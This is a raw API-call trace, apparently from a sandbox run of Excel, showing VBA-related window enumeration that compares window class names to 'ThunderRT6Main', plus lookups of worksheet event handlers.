	[0072.160] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0072.160] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0072.160] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0072.160] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0072.160] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0072.160] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0072.160] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0072.160] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0072.160] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0072.160] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0072.161] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.161] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0072.161] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0072.161] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0072.161] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0072.161] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0072.161] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.161] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0072.161] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0072.161] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0072.161] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0072.161] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0072.161] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.161] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0072.161] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0072.161] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0072.161] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0072.161] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0072.161] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.161] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.161] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0072.161] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0072.161] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0072.161] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0072.162] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0072.162] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0072.162] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.162] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0072.162] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.162] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0072.162] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0072.162] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0072.162] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0072.162] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0072.162] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0072.162] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0072.162] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0072.162] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0072.162] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.162] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0072.162] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0072.162] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0072.162] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0072.162] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0072.163] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0072.163] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.163] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.163] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0072.163] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0072.163] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0072.163] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0072.163] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0072.163] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0072.163] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.163] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.163] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0072.163] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0072.163] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0072.163] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0072.163] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0072.163] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0072.164] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0072.164] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.470] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6800000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6800000284) returned 0x0
	[0081.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0081.470] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0081.470] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0081.470] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0081.471] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0081.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0081.471] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0081.471] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0081.471] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0081.494] GetCurrentThreadId () returned 0x8e8
	[0081.494] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0081.494] GetDesktopWindow () returned 0x10010
	[0081.494] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0081.494] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0081.494] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0081.494] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.494] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0081.494] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.494] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0081.494] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0081.494] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0081.494] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0081.494] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0081.494] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0081.494] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.494] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.494] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0081.494] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.494] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0081.495] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0081.495] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0081.495] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0081.495] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0081.495] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0081.495] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0081.495] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0081.495] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0081.495] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0081.495] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0081.495] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.495] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0081.495] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0081.496] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0081.496] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0081.496] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0081.496] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0081.496] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.496] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0081.496] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0081.496] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0081.496] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0081.496] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0081.496] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.496] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0081.496] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0081.496] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.496] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0081.496] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0081.496] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0081.496] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0081.496] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.496] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0081.496] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0081.496] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0081.496] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0081.496] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.496] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.496] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.496] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0081.497] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0081.497] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0081.497] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0081.497] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0081.497] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0081.497] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0081.497] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0081.497] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0081.497] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0081.497] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0081.497] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0081.497] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0081.497] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0081.497] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0081.497] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0081.497] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0081.497] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0081.497] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0081.497] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0081.497] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0081.497] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0081.497] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0081.497] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0081.497] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0081.497] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0081.497] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0081.497] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.497] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0081.497] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0081.497] IsWindowEnabled (hWnd=0x202b0) returned 1
